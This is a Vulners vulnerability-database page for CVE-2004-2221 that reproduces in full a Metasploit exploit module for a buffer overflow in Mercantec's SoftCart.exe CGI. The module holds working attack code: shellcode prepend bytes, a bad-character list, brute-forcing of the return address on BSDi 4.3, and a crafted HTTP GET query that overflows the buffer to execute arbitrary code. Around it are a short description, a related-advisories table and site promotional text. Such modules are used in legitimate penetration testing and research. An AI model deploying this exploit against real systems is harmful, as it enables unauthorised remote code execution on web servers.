Lucene search
K

Mercantec SoftCart CGI Overflow

🗓️ 14 Dec 2006 01:49:49Reported by skape <[email protected]>, trewType 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

This is an exploit for an undisclosed buffer overflow in the SoftCart.exe CGI as shipped with Mercantec's shopping cart software. It is possible to execute arbitrary code by passing a malformed CGI parameter in an HTTP GET request. This issue is known to affect SoftCart version 4.00b

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2004-2221
20 Sep 201000:00
circl
CVE
CVE-2004-2221
17 Jul 200504:00
cve
Cvelist
CVE-2004-2221
17 Jul 200504:00
cvelist
Exploit DB
Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)
19 Aug 200400:00
exploitdb
Exploit DB
Mercantec SoftCart - CGI Overflow (Metasploit)
20 Sep 201000:00
exploitdb
exploitpack
Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)
19 Aug 200400:00
exploitpack
NVD
CVE-2004-2221
31 Dec 200405:00
nvd
Packet Storm
Mercantec Softcart CGI Overflow
27 Oct 200900:00
packetstorm
seebug.org
Mercantec SoftCart 4.00b CGI Overflow
19 Aug 200400:00
seebug
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Brute
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mercantec SoftCart CGI Overflow',
      'Description'    => %q{
        This is an exploit for an undisclosed buffer overflow
        in the SoftCart.exe CGI as shipped with Mercantec's shopping
        cart software.  It is possible to execute arbitrary code
        by passing a malformed CGI parameter in an HTTP GET
        request.  This issue is known to affect SoftCart version
        4.00b.
      },
      'Author'         => [ 'skape', 'trew' ],
      'References'     =>
        [
          [ 'CVE', '2004-2221'],
          [ 'OSVDB', '9011'],
          [ 'BID', '10926'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
          'MinNops'  => 16,
          'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
          'PrependEncoder' => "\x83\xec\x7f",
        },
      'Platform'       => 'bsdi',
      'Targets'        =>
        [
          [
            'BSDi/4.3 Bruteforce',
            {
              'Bruteforce' =>
                {
                  'Start' => { 'Ret' => 0xefbf3000 },
                  'Stop'  => { 'Ret' => 0xefbffffc },
                  'Step'  => 0
                }
            },
          ],
        ],
      'DisclosureDate' => '2004-08-19',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
      ])
  end

  def brute_exploit(address)
    if not (@mercantec)
      res = send_request_raw({
        'uri'   => normalize_uri(datastore['URI'])
      }, 5)
      @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
      fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
    end

    buffer =
      "MAA+scstoreB" +
      rand_text_alphanumeric(512) +
      [address['Ret']].pack('V') +
      "MSF!" +
      [address['Ret'] + payload.encoded.length].pack('V') +
      payload.encoded

    print_status("Trying #{"%.8x" % address['Ret']}...")
    res = send_request_raw({
      'uri'   => normalize_uri(datastore['URI']),
      'query' => buffer
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation